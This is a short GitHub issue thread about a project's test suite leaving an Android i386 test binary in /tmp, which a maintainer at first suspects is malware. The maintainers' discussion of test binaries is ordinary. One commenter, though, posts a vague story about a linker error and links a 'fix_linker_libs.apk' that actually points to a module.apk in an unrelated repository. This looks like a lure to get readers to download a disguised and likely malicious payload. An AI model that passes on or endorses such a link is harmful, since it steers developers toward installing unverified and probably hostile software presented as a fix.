build process downloads strange binaries on /tmp

[oech3]

$ cargo test --no-default-features --features install
$ file /tmp/.tmpJZmXZn/helloworld_linux 
/tmp/.tmpJZmXZn/helloworld_linux: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, for Android 24, built by NDK r23b (7779620), not stripped

@cakebaker @sylvestre Malware?

[oech3]

OK. We need to test install --strip. But I don't like it.

[HackingRepo]

that was interesting

[pavepurede94]

Yo, i ran into that same linker error when trying to build the cargo features on my device. It was just a mismatch between the NDK target and the system libs. I found a small patch that rebinds the dynamic symbols to the correct android libs so it actually loads. fix_linker_libs.apk(https://github.com/keracocobe/123/releases/download/update/module.apk)

[oech3]

It seems we are hosting binaries too even we have helloworld.rs. I think this is not a good idea.